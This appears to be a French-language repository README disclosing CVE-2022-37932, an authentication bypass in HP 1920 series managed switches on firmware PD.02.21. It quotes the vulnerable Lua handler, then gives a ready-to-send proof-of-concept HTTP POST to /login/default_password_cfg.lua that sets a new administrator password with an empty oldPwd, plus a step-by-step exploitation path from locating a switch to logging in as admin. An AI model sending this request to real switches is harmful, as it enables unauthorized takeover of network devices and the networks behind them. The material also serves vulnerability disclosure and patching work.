Vulnérabilité de contournement d'authentification du firmware HP Switch

CVE-2022-37932

Version du firmware : PD.02.21
Appareils concernés : Commutateurs intelligents gérés de la série HP 1920

Aperçu

Ce dépôt documente une vulnérabilité critique de contournement d'authentification dans les commutateurs intelligents gérés de la série HP 1920 exécutant la version du firmware PD.02.21. La vulnérabilité permet à un attaquant non authentifié de modifier le mot de passe administrateur sans authentification préalable, ce qui permet effectivement une prise de contrôle complète de l'appareil.

Détails techniques

La vulnérabilité existe dans le script /login/default_password_cfg.lua, qui gère le changement du mot de passe par défaut de l'appareil. Ce script :

1. Accepte les requêtes POST de formulaire sans vérifier si l'utilisateur est authentifié
2. Vérifie uniquement que le paramètre oldPwd correspond au mot de passe par défaut (qui est vide)
3. Modifie directement le mot de passe de l'utilisateur en fonction des paramètres POST

Code vulnérable

La section clé vulnérable dans default_password_cfg.lua :

if (request_method == 'POST') then
  -- Aucune vérification d'authentification ou de session !
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Procède au changement de mot de passe
    -- ...
  end
end

Le script manque de contrôles de sécurité critiques :

• Aucune validation de session
• Aucune protection CSRF
• Aucune limitation de débit
• Accès direct à la fonctionnalité de changement de mot de passe sans authentification

Preuve de concept

Un attaquant peut exploiter cette vulnérabilité à l'aide d'une simple requête HTTP POST :

POST /login/default_password_cfg.lua HTTP/1.1
Host: [ip-cible]
Content-Type: application/x-www-form-urlencoded
Content-Length: [longueur]

username=admin&oldPwd=&newPwd=[nouveau-mot-de-passe]&confirmPwd=[nouveau-mot-de-passe]

Remarque : Le paramètre oldPwd est laissé vide car le mot de passe par défaut est vide.

Impact

Cette vulnérabilité permet à un attaquant non authentifié de :

1. Modifier le mot de passe administrateur sans connaître aucun identifiant
2. Obtenir un contrôle administratif complet sur l'appareil
3. Configurer le commutateur, modifier les paramètres réseau, et potentiellement compromettre l'ensemble du réseau

Chemin d'exploitation

1. Localiser un commutateur vulnérable de la série HP 1920 sur le réseau
2. Envoyer la requête HTTP POST forgée directement à l'appareil
3. Le mot de passe administrateur est changé en une valeur contrôlée par l'attaquant
4. L'attaquant peut désormais se connecter avec le nouveau mot de passe et les privilèges administrateur complets

Crédits

Je n'ai pas eu le temps de rechercher qui a découvert cette vulnérabilité à l'origine. Je publie simplement une preuve de concept.

Avertissement légal

Ces informations sont fournies à des fins éducatives uniquement. L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Obtenez toujours une autorisation appropriée avant de tester des vulnérabilités.